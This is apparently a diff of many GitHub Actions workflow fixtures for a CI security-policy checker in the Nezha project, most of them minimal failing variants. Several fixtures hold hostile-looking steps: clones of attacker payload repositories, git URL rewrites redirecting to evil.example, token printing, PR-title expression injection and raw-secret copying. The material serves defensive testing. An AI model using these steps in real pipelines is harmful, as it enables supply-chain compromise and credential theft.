- run: go test ./...
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: false
|
||||
@@ -0,0 +1,14 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: actions/cache@0123456789abcdef0123456789abcdef01234567
|
||||
with:
|
||||
path: bin
|
||||
key: executable-cache
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: command -p git clone https://github.com/attacker/payload.git payload
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu]
|
||||
runs-on: custom-${{ matrix.os }}-latest
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Redact evidence
|
||||
id: redact-evidence
|
||||
if: false
|
||||
run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
|
||||
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
|
||||
if: always()
|
||||
with:
|
||||
path: ${{ runner.temp }}/nezha-agentcompat-redacted
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: podman run --rm attacker/payload:latest
|
||||
@@ -0,0 +1,12 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
container: golang:latest
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- continue-on-error: true
|
||||
run: go test ./...
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: private-production-runner
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: docker run --rm golang:latest go test ./...
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: actions/download-artifact@0123456789abcdef0123456789abcdef01234567
|
||||
@@ -0,0 +1,17 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
first:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
jobs:
|
||||
second:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: git ls-remote "${{ inputs.repository }}" refs/heads/main
|
||||
Vendored
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: printf '%s\n' "${{ github[format('event')].pull_request.title }}"
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency:
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: ""
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- {}
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: ""
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: git clone "$REMOTE"
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: git clone https://evil.example/attacker/payload.git
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
env:
|
||||
GIT_CONFIG_COUNT: "1"
|
||||
GIT_CONFIG_KEY_0: url.https://attacker.invalid/.insteadOf
|
||||
GIT_CONFIG_VALUE_0: https://github.com/nezhahq/agent
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: git config --global url.https://evil.example/.insteadOf https://github.com/
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: git -c advice.detachedHead=false clone https://github.com/attacker/payload.git payload
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: git -c url.https://evil.example/.insteadOf=https://github.com/ clone https://github.com/nezhahq/nezha.git nezha
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: |
|
||||
printf '%s\n' 'GIT_CONFIG_COUNT=1' >> "$GITHUB_ENV"
|
||||
printf '%s\n' 'GIT_CONFIG_KEY_0=url.https://attacker.invalid/.insteadOf' >> "$GITHUB_ENV"
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ github.token }}
|
||||
steps:
|
||||
- run: go test ./...
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: printf '%s' "${{ github.token }}"
|
||||
@@ -0,0 +1,12 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
id-token: write
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: |
|
||||
if go test ./...; then
|
||||
echo passed
|
||||
fi
|
||||
@@ -0,0 +1,14 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: |
|
||||
if ! go test ./...; then
|
||||
echo ignored
|
||||
fi
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: printf '%s\n' "${{ github['event']['pull_request']['title'] }}"
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: ./untrusted-action
|
||||
@@ -0,0 +1,4 @@
|
||||
on: [pull_request
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents:
|
||||
read: true
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
strategy:
|
||||
matrix:
|
||||
runner: [ubuntu-24.04]
|
||||
include:
|
||||
- runner: self-hosted
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
strategy:
|
||||
matrix:
|
||||
runner: [ubuntu-24.04, self-hosted]
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
on:
|
||||
pull_request:
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
@@ -0,0 +1,5 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
name: Missing required aggregator
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
tests:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
linux-race-quality:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test -race -shuffle=on -count=1 ./...
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
name: Missing required dependency
|
||||
on:
|
||||
pull_request:
|
||||
merge_group:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
tests:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
|
||||
with:
|
||||
go-version: "1.26.x"
|
||||
cache: false
|
||||
- run: go test ./...
|
||||
linux-race-quality:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16
|
||||
with:
|
||||
go-version: "1.26.x"
|
||||
cache: false
|
||||
- run: go test -race -shuffle=on -count=1 ./...
|
||||
nezha-quality-required:
|
||||
if: ${{ always() }}
|
||||
needs:
|
||||
- tests
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- run: test "${{ needs.tests.result }}" = success
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
@@ -0,0 +1,10 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Redact evidence
|
||||
run: go run ./integration/agentcompat/cmd/redact
|
||||
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
|
||||
with:
|
||||
path: |
|
||||
${{ runner.temp }}/redacted-results
|
||||
${{ runner.temp }}/raw-results
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
persist-credentials: false
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
repository: nezhahq/agent
|
||||
ref: main
|
||||
persist-credentials: false
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: bash -c 'go test ./... || true'
|
||||
@@ -0,0 +1,15 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Redact evidence
|
||||
run: "true"
|
||||
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
|
||||
with:
|
||||
path: ${{ runner.temp }}/redacted-results
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency:
|
||||
group: policy
|
||||
cancel-in-progress: "true"
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: ${{ inputs.action }}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
repository: ${{ inputs.repository }}
|
||||
ref: 0123456789abcdef0123456789abcdef01234567
|
||||
persist-credentials: false
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- malformed
|
||||
@@ -0,0 +1,12 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses:
|
||||
- actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
run: go test ./...
|
||||
@@ -0,0 +1,12 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run:
|
||||
command: go test ./...
|
||||
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10.5
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
persist-credentials: false
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./... || echo ignored
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./... || exit 0
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./... || printf '%s\n' ignored
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions: []
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
persist-credentials: true
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: sudo git clone "$REMOTE"
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request_target:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
@@ -0,0 +1,12 @@
|
||||
name: Quality only
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
linux-race-quality:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test -race -shuffle=on -count=1 ./...
|
||||
Vendored
+13
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
persist-credentials: "false"
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Redact evidence
|
||||
id: redact-evidence
|
||||
if: always()
|
||||
run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
|
||||
- run: cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret"
|
||||
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
|
||||
if: always()
|
||||
with:
|
||||
path: ${{ runner.temp }}/nezha-agentcompat-redacted
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Redact evidence
|
||||
id: redact-evidence
|
||||
if: always()
|
||||
run: |
|
||||
go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
|
||||
cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret"
|
||||
- uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
|
||||
if: always()
|
||||
with:
|
||||
path: ${{ runner.temp }}/nezha-agentcompat-redacted
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: bin/agentcompat --check
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- id: resolve-agent
|
||||
run: |
|
||||
set -euo pipefail
|
||||
remote='https://github.com/nezhahq/agent.git'
|
||||
mapfile -t refs < <(git ls-remote "$remote" refs/heads/main)
|
||||
(( ${#refs[@]} == 1 ))
|
||||
sha=${refs[0]%%$'\t'*}
|
||||
[[ "$sha" =~ ^[0-9a-f]{40}$ ]]
|
||||
sha=attacker-controlled
|
||||
printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT"
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
repository: nezhahq/agent
|
||||
ref: ${{ steps.resolve-agent.outputs.sha }}
|
||||
persist-credentials: false
|
||||
+8
@@ -0,0 +1,8 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
uses: attacker/repo/.github/workflows/build.yml@main
|
||||
@@ -0,0 +1,13 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
env:
|
||||
TOKEN: ${{ secrets.CI_TOKEN }}
|
||||
steps:
|
||||
- run: go test ./...
|
||||
@@ -0,0 +1,21 @@
|
||||
name: Secure Agent compatibility
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: secure-agent-${{ github.ref }}
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
repository: nezhahq/nezha
|
||||
ref: fedcba9876543210fedcba9876543210fedcba98
|
||||
path: nezha
|
||||
persist-credentials: false
|
||||
- run: go test ./integration/agentcompat/...
|
||||
@@ -0,0 +1,40 @@
|
||||
name: Secure Nezha compatibility
|
||||
# Comments and names are not policy input: ignore pull_request_target and ${{ secrets.FAKE }}.
|
||||
on:
|
||||
pull_request:
|
||||
merge_group:
|
||||
concurrency:
|
||||
group: secure-${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
permissions:
|
||||
contents: read
|
||||
id-token: none
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- name: Checkout Nezha
|
||||
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
persist-credentials: false
|
||||
- name: Checkout Agent
|
||||
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
repository: nezhahq/agent
|
||||
ref: 0123456789abcdef0123456789abcdef01234567
|
||||
path: agent
|
||||
persist-credentials: false
|
||||
- name: Test
|
||||
run: go test ./integration/agentcompat/...
|
||||
- name: Document self-hosted, Docker, cache, and service bans
|
||||
run: printf '%s\n' 'policy active'
|
||||
- name: Redact evidence
|
||||
id: redact-evidence
|
||||
if: always()
|
||||
